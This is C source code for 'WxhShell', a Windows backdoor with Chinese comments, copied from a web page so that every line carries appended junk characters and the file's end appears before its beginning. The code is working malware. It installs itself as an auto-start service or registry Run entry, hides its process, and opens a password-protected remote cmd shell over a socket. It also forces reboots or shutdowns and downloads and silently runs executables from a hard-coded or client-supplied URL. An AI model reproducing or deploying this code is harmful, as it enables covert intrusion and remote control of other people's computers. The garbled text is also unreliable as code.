    } G}x^PJJt  
    break; 7Udr~ 0_)  
    } g|Cnj  
  // 关机 y[# U/2  
  case 'd': { Z~ (QV0}  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ~EymD *  
    if(Boot(SHUTDOWN)) =6hf'lP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /$KW$NH4z  
    else { pbNVj~#6  
    closesocket(wsh); 4-AmzU  
    ExitThread(0); Qoc-ZC"<6  
    } TqC"lO>:Q  
    break; ;3_'{  
    } "lm3o(Dk  
  // 获取shell (<t)5?@%  
  case 's': { f#?R!pR  
    CmdShell(wsh); ^"I!+Teb  
    closesocket(wsh); P]G2gDO  
    ExitThread(0); lnhZ!_  
    break; \4 DH&gZ[  
  } ]`x~v4JU  
  // 退出 l?d*g&  
  case 'x': { xK f+.6 wz  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); gw-l]@;1  
    CloseIt(wsh); mi+I)b=  
    break; sSxra!tv4  
    } b@k3y9 &  
  // 离开 GauIe0qV  
  case 'q': { (Qnn  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); &7cy9Z~m  
    closesocket(wsh); z]pH'c39  
    WSACleanup(); MC3{LVNK  
    exit(1); y}8j_r  
    break; >A6lX)  
        } tO#y4<  
  } #Uo 9BM  
  } <?!#QA  
3:r;(IaX  
  // 提示信息 dCBJV  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); D<:9pLD(  
} >:.Bn8-  
  } eG<32$I  
1*s Lj#  
  return; @d)6LA9Ec  
} q;U[f6JjE  
aV1(DZ83  
// shell模块句柄 D n^RZLRhy  
int CmdShell(SOCKET sock) DLVf7/=3~  
{ q~lmOT~E  
STARTUPINFO si; Ood&cP'c  
ZeroMemory(&si,sizeof(si)); #u>JCPz  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; k&^fIz  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; crUXpD  
PROCESS_INFORMATION ProcessInfo; dS-l2 $n  
char cmdline[]="cmd"; Ma$b(4dB  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); :`d& |BB  
  return 0; +=*ZH `qX  
} F2#^5s(  
(RQ kwu/  
// 自身启动模式 V\A?1   
int StartFromService(void) {?82>q5F  
{ <X:7$v6T|  
typedef struct '_2~8w  
{ >qOhzbAH{<  
  DWORD ExitStatus; D(y=0),  
  DWORD PebBaseAddress; [/I4Pe1Yj%  
  DWORD AffinityMask; arnu|paw  
  DWORD BasePriority; n@xU5Q  
  ULONG UniqueProcessId; 0@z78h=h  
  ULONG InheritedFromUniqueProcessId; |<OZa;c+  
}   PROCESS_BASIC_INFORMATION; 3 *ZE``  
n-uoY<;hp  
PROCNTQSIP NtQueryInformationProcess; -*3wNGh {  
0-7xcF@s  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; #P1k5!u  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; B>Mk "WjQ  
Y.ic=<0H  
  HANDLE             hProcess; +Oo>V~  
  PROCESS_BASIC_INFORMATION pbi; x.!%'{+ {  
`6'fX[j5  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ^;M!u8[  
  if(NULL == hInst ) return 0; e4t'3So  
60*=Bs%b  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); l%U{Unwu  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ) "'J]6  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); }oU0J  
hC,EO&  
  if (!NtQueryInformationProcess) return 0; XvWUJ6M  
,?728pfw  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); iCx}v[;Ol  
  if(!hProcess) return 0; AFyf7^^k  
(c_E*>c)  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ! fY'^Ya?  
:9 .ik  
  CloseHandle(hProcess); t!v#rn[  
]wZG4A  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); PXWBc\  
if(hProcess==NULL) return 0; \ 7jK6;R<  
N,L$+wm  
HMODULE hMod; C/!kMMh>vV  
char procName[255]; nF]lSg&]X  
unsigned long cbNeeded; c<|;<8ew  
.,I^)8c  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Bf.@B0\  
"4Cb dD//  
  CloseHandle(hProcess); 40+~;20  
(k4>I"x)  
if(strstr(procName,"services")) return 1; // 以服务启动 Q! WXFS  
R0vWj9nPh  
  return 0; // 注册表启动 B\`4TU}kE  
} 4vF1  
; &$djP  
// 主模块 _3.=| @L  
int StartWxhshell(LPSTR lpCmdLine) \G:\36l  
{ *bsS%qD]  
  SOCKET wsl; dL!PpLR$2  
BOOL val=TRUE; u.43b8!  
  int port=0; C0J/FFBQ^  
  struct sockaddr_in door; p{gJVP#l'Z  
N2WQrTA:S+  
  if(wscfg.ws_autoins) Install(); "6o}g.  
U,\3 !D0jt  
port=atoi(lpCmdLine); [5yLg  
w,n&K6<  
if(port<=0) port=wscfg.ws_port; edD19A  
bkTk:-L5:  
  WSADATA data; [jU.58*  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ]hRCB=G  
3w6}%=)$8  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   F$X"?fj  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); %v5IR  
  door.sin_family = AF_INET; EVX*YGxx6  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 9mZ[SQf  
  door.sin_port = htons(port); (Rj'd>%c  
lcO;3CrJ!  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { k  <SFl  
closesocket(wsl); 8cI<~|4_  
return 1; A%(t'z  
} ;W 16Hr Z  
z$C}V/Ey  
  if(listen(wsl,2) == INVALID_SOCKET) { 9\y\{DHd  
closesocket(wsl); |1!RvW:[!  
return 1; F|nJ3:v  
} <2{g[le  
  Wxhshell(wsl); W!6&T [j>  
  WSACleanup(); &V"9[0  
()%NotN;  
return 0; ?QR13l(  
vuN!7*d+  
} :Aq==N_/2  
R<]f[  
// 以NT服务方式启动 !X5n'1&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) hUR>NUK@8  
{ w8~B@}%  
DWORD   status = 0; FK ? g  
  DWORD   specificError = 0xfffffff; \+3amkBe  
v@n0ma=  
  serviceStatus.dwServiceType     = SERVICE_WIN32; d>k)aIYp  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; !'#Y-"=ypk  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; [ 'aSPA  
  serviceStatus.dwWin32ExitCode     = 0; o>~xrV`E  
  serviceStatus.dwServiceSpecificExitCode = 0; m}`!FaB #  
  serviceStatus.dwCheckPoint       = 0; nz+k ,  
  serviceStatus.dwWaitHint       = 0; U}hQVpP#  
)a99@`L\P  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); T3H\KRe6  
  if (hServiceStatusHandle==0) return; ol#| .a2O  
tg5G`P5PJ  
status = GetLastError(); Ct@OS227x  
  if (status!=NO_ERROR) % XvJJ  
{ ;fi H=_{us  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 9IfeaoZZ4q  
    serviceStatus.dwCheckPoint       = 0; so=Ux2  
    serviceStatus.dwWaitHint       = 0; ,.6)y1!  
    serviceStatus.dwWin32ExitCode     = status; 4Kl{^2  
    serviceStatus.dwServiceSpecificExitCode = specificError; EUGN`t-M  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); [cfKvROG  
    return; i?^lEqy[  
  } ?OD43y1rzd  
J2Y S+%K  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 4rDa Jd>,  
  serviceStatus.dwCheckPoint       = 0; $e#V^dph  
  serviceStatus.dwWaitHint       = 0; 5,vw%F-m  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 9S<g2v  
} pA?kv]l(  
ip)gI&kN`z  
// 处理NT服务事件,比如:启动、停止 HnlCEW,^o  
VOID WINAPI NTServiceHandler(DWORD fdwControl) P80mK-Iyv_  
{ S29k IJ  
switch(fdwControl) jq_E{Dq1  
{ 'jnR<>N  
case SERVICE_CONTROL_STOP: wg.TCT2  
  serviceStatus.dwWin32ExitCode = 0; "fH"U1Bw  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; VUd=|$'J  
  serviceStatus.dwCheckPoint   = 0; n=_jmR1  
  serviceStatus.dwWaitHint     = 0; v#X l  
  { F4:giu ht  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^ s.necg0  
  } x b6X8:  
  return; pXap<T  
case SERVICE_CONTROL_PAUSE: M?[~_0_J  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; FV~ENpncP  
  break; P[q 'Y^\  
case SERVICE_CONTROL_CONTINUE: N$I@]PL  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; BK *Bw,KQ<  
  break; .G/>X%X  
case SERVICE_CONTROL_INTERROGATE: VV'*3/I  
  break; vr2cDk{  
}; mu$0x)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); jXH?os%  
} 1^v?Ly8  
<<vT"2Q]  
// 标准应用程序主函数 sQl`0|VH  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Yt3 +o<  
{ P&$ m2^K  
}} s.0Q  
// 获取操作系统版本 oEJYAKN  
OsIsNt=GetOsVer(); &\p=s.y?j  
GetModuleFileName(NULL,ExeFile,MAX_PATH); D #Ku5~j  
Ew,1*WK!  
  // 从命令行安装 6C@W6DR3N  
  if(strpbrk(lpCmdLine,"iI")) Install(); $-*E   
 "o{o9.w  
  // 下载执行文件 yH<a;@C  
if(wscfg.ws_downexe) { 4+1aW BJ2  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) X6Wj,a  
  WinExec(wscfg.ws_filenam,SW_HIDE); 0r/pZ3/  
} kklM"Av  
n-)Xs;`2  
if(!OsIsNt) { qPH=2k ,H  
// 如果时win9x,隐藏进程并且设置为注册表启动 DMXm$PU4V  
HideProc(); V7}3H2]^  
StartWxhshell(lpCmdLine); qZ=%r u  
} lk(.zYaaN  
else 2N /4.  
  if(StartFromService()) 5,~Ju>y*  
  // 以服务方式启动 {];8jdg/?  
  StartServiceCtrlDispatcher(DispatchTable); r5wy]z^  
else =k0qj_  
  // 普通方式启动 'n$TJp|s  
  StartWxhshell(lpCmdLine); QA"mWw-Ds  
$-#|g  
return 0; $C^tZFq  
} oU[>.Igi  
@gM>Lxj  
S`t@L}  
z4B-fS]  
=========================================== /9wmc2  
0Z,a3)jcc  
)}|b6{{<  
vw5f|Q92  
l =`?Im  
GYJ lX  
" &ZR}Z7E*=  
V'Z Z4og  
#include <stdio.h> V;-$k@$b.  
#include <string.h> 9\J6G8b>|I  
#include <windows.h> @o/126(k  
#include <winsock2.h> *= ;M',nx  
#include <winsvc.h> _X/`7!f  
#include <urlmon.h> 7FB aN7l  
rAwuWM@BIg  
#pragma comment (lib, "Ws2_32.lib") :GBM`f@  
#pragma comment (lib, "urlmon.lib") m]"13E0*x  
TDY2 M  
#define MAX_USER   100 // 最大客户端连接数 G\4*6iw:  
#define BUF_SOCK   200 // sock buffer (fUpj^E)p  
#define KEY_BUFF   255 // 输入 buffer GUH-$rA  
lXnzomU  
#define REBOOT     0   // 重启 sngM4ikhs  
#define SHUTDOWN   1   // 关机 Bkaupvv9S  
UZDXv=r|  
#define DEF_PORT   5000 // 监听端口 ]8~{C>ch$  
Y Z.? k4>  
#define REG_LEN     16   // 注册表键长度 "> ]{t[Ib  
#define SVC_LEN     80   // NT服务名长度 xC}9W6  
l.3|0lopX)  
// 从dll定义API @ )< 3Z  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); q  W"  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); JIH6!  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); u301xc,N<z  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); fFiFS\''V  
='z4bU  
// wxhshell配置信息 Yb? L:,a(I  
struct WSCFG { 41oXOB  
  int ws_port;         // 监听端口 Op>l~{{{  
  char ws_passstr[REG_LEN]; // 口令 +>*! 3x+sE  
  int ws_autoins;       // 安装标记, 1=yes 0=no J&w'0  
  char ws_regname[REG_LEN]; // 注册表键名 +`]AutNv  
  char ws_svcname[REG_LEN]; // 服务名 #*|Gp_l+%  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 +5xVgIk#  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 2}<_l 2  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 QoBM2Q YO  
int ws_downexe;       // 下载执行标记, 1=yes 0=no o-7,P RmKN  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" \YMe&[C:o  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 _GF{Duxh  
+ebmve \+  
}; appWq}db  
^0T DaZDLp  
// default Wxhshell configuration )/mBq#ZS  
struct WSCFG wscfg={DEF_PORT, d")TH3pG  
    "xuhuanlingzhe", gi#g)9HG  
    1, y c:y}"  
    "Wxhshell", Gw@]w;ed  
    "Wxhshell", mLb>*xt$b@  
            "WxhShell Service", >Y 8\I  
    "Wrsky Windows CmdShell Service", ]mZN18#  
    "Please Input Your Password: ", \&#IK9x{  
  1, :rzq[J^  
  "http://www.wrsky.com/wxhshell.exe", 5'%nLW7;O  
  "Wxhshell.exe" 4mM?RGWv  
    }; t,,W{M|E(  
6U(M HxY  
// 消息定义模块 qC:QY6g$N  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ^X\SwgD2w  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Uz$.sa  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; =b_/_b$q  
char *msg_ws_ext="\n\rExit."; QFX/x  
char *msg_ws_end="\n\rQuit."; (Rs052m1  
char *msg_ws_boot="\n\rReboot..."; K}a3Bj,  
char *msg_ws_poff="\n\rShutdown..."; (@nE e?  
char *msg_ws_down="\n\rSave to "; 5SQqE@g%  
:JD*uu  
char *msg_ws_err="\n\rErr!"; _|f_%S8a_=  
char *msg_ws_ok="\n\rOK!"; {$P')> /  
yO*HJpc   
char ExeFile[MAX_PATH]; #sHt3z)6I  
int nUser = 0; $Si|;j$?  
HANDLE handles[MAX_USER]; ==]BrhZK  
int OsIsNt; &|Cd1z#?  
$ts1XIK%  
SERVICE_STATUS       serviceStatus; ,(y6XUV~  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; pr.+r?la]  
0hv}*NYd  
// 函数声明 45aFH}w:  
int Install(void); ApSzkPv*  
int Uninstall(void); ^jB17z[  
int DownloadFile(char *sURL, SOCKET wsh); +.pri  
int Boot(int flag); j[Z<|Da  
void HideProc(void); [$e\?c  
int GetOsVer(void); <; P40jDL  
int Wxhshell(SOCKET wsl); PHU$<>  
void TalkWithClient(void *cs); 0 qp Pz|h  
int CmdShell(SOCKET sock); ^+k~{F,)  
int StartFromService(void); e754g(|>b  
int StartWxhshell(LPSTR lpCmdLine); O]VHX![Y$  
.u3Z*+  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); peD7X:K\s  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); H_vGa!_  
/Dj-@7.C/  
// 数据结构和表定义 -J]j=  
SERVICE_TABLE_ENTRY DispatchTable[] = G;he:Bf  
{ h,@tfd U^  
{wscfg.ws_svcname, NTServiceMain}, hUP?r/B  
{NULL, NULL} d3jzGJrU}  
}; 5Ei4$T  
,vs#(d6G  
// 自我安装 GzEvp  
int Install(void) U>0~/o  
{ 8k9Yoht  
  char svExeFile[MAX_PATH]; %@MO5#)NI  
  HKEY key; kps}i~Jb  
  strcpy(svExeFile,ExeFile); }F4%5go  
i#K Y'"P  
// 如果是win9x系统,修改注册表设为自启动 GAU7w"sE  
if(!OsIsNt) { kHz?vVE/l  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { b"pN;v  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]47!Zo,  
  RegCloseKey(key); HyY ol*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ["0DXm%t  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~@d4p|K  
  RegCloseKey(key); %G/(7l[W  
  return 0; L2> )HG  
    } }ki6(_  
  } ,u S)N6'b6  
} h pKrP  
else { J*D3=5&  
* 3#RS  
// 如果是NT以上系统,安装为系统服务 MmH(dp+  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 2Kz407|'  
if (schSCManager!=0) 99*QfC  
{ &xE+PfX  
  SC_HANDLE schService = CreateService 4|h>.^  
  ( AsO)BeUD  
  schSCManager, 9S/X,|i  
  wscfg.ws_svcname, F@<^  
  wscfg.ws_svcdisp, r1a/'+   
  SERVICE_ALL_ACCESS, U[G5<&Z^  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , q'KXn0IY#  
  SERVICE_AUTO_START, _#y=T20'3  
  SERVICE_ERROR_NORMAL, Z+agS8e(  
  svExeFile, 8d[!"lL  
  NULL, of/' 9Tj  
  NULL, 6F; |x  
  NULL, {)wl`mw3  
  NULL, 9E2OCLWrE  
  NULL /NUu^ N  
  ); %9b TfX"  
  if (schService!=0) (".WJXB\  
  { xG:7AGZ$[  
  CloseServiceHandle(schService); plgiQr #  
  CloseServiceHandle(schSCManager); 7VW/v4n  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); IPk"{T3  
  strcat(svExeFile,wscfg.ws_svcname); C j:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 'tY y_  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); C^ZD Uj`  
  RegCloseKey(key); &uXu$)IZ  
  return 0; ofuQ`g1hb  
    } UQO?hZ!y/.  
  } }*,z~y}V#  
  CloseServiceHandle(schSCManager); 5!qLJmd=  
} CO{AC~  
} V`xE&BI  
b|u,[jEB  
return 1; v-XB\|f  
} no9=K4h`  
%h}3}p#4  
// 自我卸载 'Ooq.jaK;/  
int Uninstall(void) r<pt_Cd  
{ XL`i9kV?  
  HKEY key; @!mjjeG+1  
j1K?QH=e#{  
if(!OsIsNt) { >=YQxm}GJ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { b X4]/4%  
  RegDeleteValue(key,wscfg.ws_regname); lB(P+yY,/'  
  RegCloseKey(key); YzYj/,?r  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {jo"@&2S  
  RegDeleteValue(key,wscfg.ws_regname); 85ND 3F6q4  
  RegCloseKey(key); ,8+Jt@L  
  return 0; Ae'N1V  
  } =|qYaXjT$  
} uZ+vYF^  
} BV eIj }  
else { gPF5|% 3)  
"tz`@3,5dN  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); w%eEj.MI|i  
if (schSCManager!=0) iJzW3%E  
{ ~"22X`;h[G  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Eg0qY\'  
  if (schService!=0) vnH[D)`@  
  { 6&L8 {P  
  if(DeleteService(schService)!=0) { 7vEZb.~4z  
  CloseServiceHandle(schService); 79}Qj7  
  CloseServiceHandle(schSCManager); .`+N+B(4  
  return 0; X-_0wR  
  } yTh60U  
  CloseServiceHandle(schService); +?uZ~VSl  
  } Kbcr-89Gv~  
  CloseServiceHandle(schSCManager); O>>%lr|  
} 2x:aMWh  
} %J :2y  
4H hQzVM{  
return 1; GtkZ%<KF9  
} ;xjw'%n,  
=EUi| T4:  
// 从指定url下载文件 s` o _ER  
int DownloadFile(char *sURL, SOCKET wsh) =:Lc-y>  
{ 6Lz:J:Q)  
  HRESULT hr; ::!{f+Up  
char seps[]= "/"; &u0on) E  
char *token; s3oQ( wC %  
char *file; #RP7?yGM,  
char myURL[MAX_PATH]; Df0m  
char myFILE[MAX_PATH]; 89[OaT_hs  
g BV66L  
strcpy(myURL,sURL); =QW:},sp  
  token=strtok(myURL,seps);  S/Gy:GIf  
  while(token!=NULL) leO..M  
  { RaAvPIJa |  
    file=token; 8~vE  
  token=strtok(NULL,seps); k[/`G5  
  } v v]rXJu1  
V,>uM >$  
GetCurrentDirectory(MAX_PATH,myFILE); ,{g B$8z^  
strcat(myFILE, "\\"); )k&!&  
strcat(myFILE, file); B/b S:  
  send(wsh,myFILE,strlen(myFILE),0); z+X DN:  
send(wsh,"...",3,0); C%;J9(r  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); e18}`<tW-  
  if(hr==S_OK) ! f*t9 I9Q  
return 0; Cm[^+.=I  
else HsAKz]Mq  
return 1; E(0[/N~  
j/w*2+&v  
} Q#sLIZ8=  
laGIu0s {  
// 系统电源模块 xkmqf7w  
int Boot(int flag) !KmSLr7xU  
{ g:fzf>oQ>p  
  HANDLE hToken; !z?;L_Lb  
  TOKEN_PRIVILEGES tkp; =l1O9/\9  
O"f|gc)GLz  
  if(OsIsNt) { _2nNCu (  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); mY!&*nYn|  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ,B$m8wlI|  
    tkp.PrivilegeCount = 1; L=<{tzTc  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ;p/$9b.0:  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); h0Ilxa   
if(flag==REBOOT) { PVX23y;  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) eC*-/$D  
  return 0; o;7_*=i  
} $D~vuA7  
else { {%XDr,myd  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Z)RV6@(  
  return 0; Ib0@,yS[  
}  ~ A4_  
  } H@BU/{  
  else { o :_'R5  
if(flag==REBOOT) { d/&~IR  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) SMbhJ}\O  
  return 0; <wO8=bem  
} Fq #;  
else { c_)lTI4  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) !&@!:=X,  
  return 0; 46M?Gfd,X  
} bs\7 juHt  
} P|kfPohI=  
nZ~J &QK-  
return 1; kY]^~|i6  
} S_Ug=8r4  
ff.;6R\  
// win9x进程隐藏模块 I9E]zoj8  
void HideProc(void) SZm&2~|J  
{ 8@d,TjJDo  
0Nq6>^ %  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); EHcgWlT u  
  if ( hKernel != NULL ) 6YpP/ K  
  { D?}K|z LQ  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); EmubpUS;  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); H\@@iK=  
    FreeLibrary(hKernel); iBy &#^  
  } yfCdK-9+B  
<jHo2U8/"s  
return; ~91) DNaE  
} 6 xAR:  
V~_aM@q1  
// 获取操作系统版本 Tq`rc"&7u  
int GetOsVer(void) R[{s\  
{ iK <vr  
  OSVERSIONINFO winfo; 7S)u7  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Fun+L@:;  
  GetVersionEx(&winfo); tP]-u3  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) o2r)K AA  
  return 1; sU 5/c|&  
  else >(39K  
  return 0; QzX|c&&>u2  
} y%=t((.Z  
Cz]NSG5  
// 客户端句柄模块 )%=oJ!)  
int Wxhshell(SOCKET wsl) >r~!'Pd!  
{ gQ~X;'  
  SOCKET wsh; :;u?TFCRx  
  struct sockaddr_in client; mQy!*0y  
  DWORD myID; Y> f 6  
C6cEt5  
  while(nUser<MAX_USER) L>1i~c&V  
{ B|(M xR6m  
  int nSize=sizeof(client); cR"?EQ] `N  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Kitx%P`i  
  if(wsh==INVALID_SOCKET) return 1; #JIh-h@  
Fi_JF;  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 2fv`O  
if(handles[nUser]==0) IW-lC{hK  
  closesocket(wsh); (_'Efpg|  
else si.w1  
  nUser++; #gd`X|<Ch  
  } KG8Km  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); >)p8^jX   
P<{N)H 2r  
  return 0; pQf5s7  
} *='J>z.]  
j65qIw_Z  
// 关闭 socket z~y=(T  
void CloseIt(SOCKET wsh) :q,tmk h  
{ gS$?#!f  
closesocket(wsh); BT8L'qEj  
nUser--; >V1v.JH  
ExitThread(0); Y6r<+#V  
} X23#y7:  
-VVJf5/  
// 客户端请求句柄 %an&lcoX  
void TalkWithClient(void *cs) N% W298  
{ .PJCBT e  
LIZsDTU  
  SOCKET wsh=(SOCKET)cs; XAF*jevr  
  char pwd[SVC_LEN]; -"Hy%wE  
  char cmd[KEY_BUFF]; ~v+A6N:qC  
char chr[1]; NwPC9!*  
int i,j; smTPca)7s  
QKt[Kte  
  while (nUser < MAX_USER) { EvQMt0[?EW  
zUCtH*  
if(wscfg.ws_passstr) { <W<>=vDzyE  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9C2DW,?  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); k-N` h  
  //ZeroMemory(pwd,KEY_BUFF); `;vJ\$-<  
      i=0; u >W:SM  
  while(i<SVC_LEN) { / >q?H)6  
1so9w89  
  // 设置超时 W|e$@u9  
  fd_set FdRead; 6o4Bf| E]  
  struct timeval TimeOut; >GV = %  
  FD_ZERO(&FdRead); yE4X6  
  FD_SET(wsh,&FdRead); m/(f?M l  
  TimeOut.tv_sec=8; o@!Uds0  
  TimeOut.tv_usec=0; EmO{lCENk  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); @0{vA\  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 'ZboLoS*-  
w%L::Z4  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); qZz?i  
  pwd=chr[0]; !9ytZR*  
  if(chr[0]==0xd || chr[0]==0xa) { ub,GF?9  
  pwd=0; ) ir*\<6Y=  
  break; ZIo%(IT!c  
  } c&AJFED]<  
  i++; ?1kXV n$  
    } xYUC|c1Q9  
8M&q  
  // 如果是非法用户,关闭 socket OPtFz6   
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); YLVZ]fN=>  
}  wq@{85  
K.T.?ug;:  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); GjD^\d/  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); i SD?y#  
)J<VDO:_YA  
while(1) { l k?@ =U~  
7)U08"  
  ZeroMemory(cmd,KEY_BUFF); (o5^@aDr  
?7]UbtW[  
      // 自动支持客户端 telnet标准   / 8 0Q  
  j=0; 2Sg^SZFH+o  
  while(j<KEY_BUFF) { q{:]D(   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); nhZ^`mP  
  cmd[j]=chr[0]; ,6iXlch  
  if(chr[0]==0xa || chr[0]==0xd) { Je1'0h9d  
  cmd[j]=0; f%2>pQTq@)  
  break; C@#KZ`c)  
  } N!#0O.6  
  j++; R$Or&:E ^  
    } K#>@T<  
Y_SB3 $])  
  // 下载文件 E[8R )xC@  
  if(strstr(cmd,"http://")) { 2#hfBJg@  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); k=D}i\F8  
  if(DownloadFile(cmd,wsh)) [')C]YQb=  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,N`cH\  
  else Y;dQLZ CC  
